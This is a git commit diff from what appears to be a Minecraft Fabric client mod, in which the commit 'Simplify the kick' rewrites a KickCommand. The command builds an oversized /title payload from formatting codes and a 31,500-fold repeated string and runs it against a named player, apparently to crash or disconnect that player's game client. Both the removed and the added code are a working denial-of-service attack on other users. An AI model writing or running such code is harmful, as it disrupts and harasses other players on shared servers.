Simplify the kick

This commit is contained in:
7cc5c4f330d47060 2024-09-28 15:09:28 -04:00
parent 0560bd9673
commit af4d014b87
Signed by: 7cc5c4f330d47060
SSH key fingerprint: SHA256:e+4tcZut1nBpe10PqjaO+Rvie0Q7W4qIvFzcUw+7riA

View file

@ -24,19 +24,8 @@ public class KickCommand {
public static int run (CommandContext<FabricClientCommandSource> context) {
final String payloadStart = "uwu\u00a7k";
final String payloadEnd = "uwu";
final StringBuffer payload = new StringBuffer();
payload.append(payloadStart);
for(int i = 0; i < 31500; i++) {
payload.append("");
}
payload.append(payloadEnd);
CommandCore.INSTANCE.run("/title " + getString(context, "player") + " title \"" + payload.toString() + "\"");
final String payload = "uwu\u00a7k" + "".repeat(31500) + "\u00a7r:3";
CommandCore.INSTANCE.run("/title " + getString(context, "player") + " title \"" + payload + "\"");
return Command.SINGLE_SUCCESS;
}